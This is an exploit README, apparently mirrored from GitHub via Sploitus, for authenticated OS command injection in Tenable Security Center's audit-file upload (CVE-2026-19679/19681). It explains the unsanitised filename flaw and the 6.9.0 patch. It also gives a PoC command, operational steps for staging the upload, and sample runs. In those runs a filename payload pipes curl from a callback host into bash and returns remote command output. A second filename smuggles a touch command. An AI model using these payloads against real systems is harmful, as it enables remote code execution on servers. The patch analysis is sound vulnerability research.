Sploitus

Exploit for OS Command Injection in Tenable Security Center

githubexploit Β· 2026-08-24

Exploit Code

README100 lines
## https://sploitus.com/exploit?id=7EF723C4-B03E-5DFD-817A-812C6E7E4F32
![InfoGraphic](Gemini_Generated_Image_egqul7egqul7egqu.jpg)

# CVE-2026-19679 β€” insufficient sanitization of uploaded filenames (input validation)

**Status: CONFIRMED** on a 6.7.2-14.el9 lab (2026-08-20). `POST /rest/auditFile` with
`tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml"` returned HTTP 200 and
registered AuditFile #1000002 β€” the shell-metachar filename passed validation and was
stored end-to-end. On 6.9.0 the same request is refused with
`"Invalid tailoring filename."`.

## Vulnerability

The audit-file upload parameters (`filename`, `tailoringFilename`,
`tailoringOriginalFilename`) are validated with `PARAM_FILENAME`
(`Utility::validateParams()`), which checks only three things: non-empty, no `/`
(`basename()` equality), and that the staged file exists. There is **no charset
constraint** β€” `;`, `$()`, backticks, `${IFS}` and spaces pass untouched.

Those names then flow into:

- `rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}")` β€”
  `AuditFileLib.php:2307` (a file with arbitrary metachars in its name is created)
- the SCAP zip repack command β€” `exec("{$settings['CommandZIP']} -9Tj $tmpZipFile
  $newTailoringFilenameEsc")` where the *unescaped* `$tmpZipFile` derives from the
  client's `filename` param β€” the downstream command injection of **CVE-2026-19681**.

Lab-verified boundary: traversal is *not* part of the pre-6.9 flaw β€” both tailoring
params reject `/` (error 146 `Invalid syntax for attribute ...` on a `../` payload).
The missing piece is exactly the charset filter, which is what the CVE text means by
"could contribute to a downstream command injection."

## Patch (6.9.0)

`AuditFiles::applySCAPTailoringFile()`:

```php
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
```

plus `basename()` on both names and `escapeshellarg()` on the zip operands.

## PoC

Differential version probe β€” one request, opposite outcomes per version:

```bash
./poc.py --target https://sc.lab --username analyst --password 'pass'
```

- ≀ 6.8.x β†’ HTTP 200 (audit file created with the metachar name) or error 106
  (post-exec bounce; the name still reached rename()/zip) β†’ no charset validation
- 6.9.0 β†’ immediate `"Invalid tailoring filename."`

Operational notes (all lab-verified):

- upload resource is `/rest/file/upload` (multipart `Filedata`, `context` form field)
- the audit zip is staged with a **blank context** β€” `context=auditFile` runs
  content detection on the zip (error 107 on a dummy zip)
- the tailoring file must contain parseable datastream XML with β‰₯1 Profile (embedded)
- auditFile body needs `type=scapLinux|scapWindows`, `version=1.2`, `benchmarkName`,
  `dataStreamName`

## Relationship to CVE-2026-19681

19679 is the validation gap; 19681 is the exec sink. The same upload flow exercises
both: 19681 plants metachars in the staged `filename` (via the upload `context`
prefix) and fires them through the unescaped `$tmpZipFile`; 19679 demonstrates the
sibling parameters accept the same character class up to (and into) the same command
string. 6.9.0 fixes both sides in one commit area: charset + basename + escapeshellarg.

## Example run

```console
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile β€” tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
```

```console
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile β€” tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
```